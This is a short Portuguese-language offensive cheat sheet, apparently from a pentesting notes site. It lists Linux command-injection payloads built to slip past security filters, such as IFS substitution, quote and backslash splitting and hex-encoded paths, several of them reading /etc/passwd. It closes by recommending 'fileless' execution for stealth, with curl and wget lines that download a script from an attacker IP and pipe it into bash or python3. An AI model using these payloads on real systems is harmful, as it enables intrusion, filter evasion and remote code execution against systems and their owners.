Command OS

Abaixo algumas maneiras de executarmos comandos no Linux, realizando bypass em alguns filtros de segurança:

;id
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
X=$'uname\x20-a'&&$X
who$()ami
who$(echo am)i
who`echo am`i
who`echo am`i
who``ami 
who$@ami
echo whoami|$0
w\ho\am\i
/\b\i\n/////s\h
w'h'o'am'i
w"h"o"am"i
"who""a""mi"
'who'a"mi"
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
x=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $x
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
x=/ehhh/hmtc/pahhh/hmsswd;cat<${x//hhh\/hm/}
IFS=,;`cat<<<uname,-a`

Caso esteja executando scripts que podem ser remotos, opte sempre por um ataque Fileless, pois como não toca o disco (HD) e é executado na memória RAM, acaba sendo um ataque mais furtivo.

curl http://<ip_atacante>/file.sh | bash
wget -qO- http://<ip_atacante>/file.py | python3

Last updated

Was this helpful?